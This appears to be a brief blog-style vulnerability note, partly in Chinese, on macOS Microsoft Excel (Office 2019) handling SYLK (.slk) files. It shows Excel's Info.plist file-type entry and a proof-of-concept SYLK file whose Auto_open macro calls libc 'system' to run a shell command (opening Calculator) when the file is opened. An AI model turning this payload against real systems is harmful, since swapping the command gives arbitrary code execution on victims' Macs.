office_sylk_mac

enter description here

原因:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

$ defaults read /Applications/Microsoft\ Excel.app/Contents/Info.plist
{
BuildMachineOSBuild = 18G87;
CFBundleDevelopmentRegion = en;
CFBundleDisplayName = "Microsoft Excel";
CFBundleDocumentTypes = (
{
CFBundleTypeExtensions = (
slk
);
CFBundleTypeIconFile = "XLS.icns";
CFBundleTypeName = "Microsoft Excel SLK File (.slk)";
CFBundleTypeOSTypes = (
SLKX
);
...

POC

1
2
3
4
5
6
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator")
C;X1;Y102;K0;EHALT()
E

测试版本 Microsoft Office 2019
enter description here

enter description here

https://objective-see.com/blog/blog_0x50.html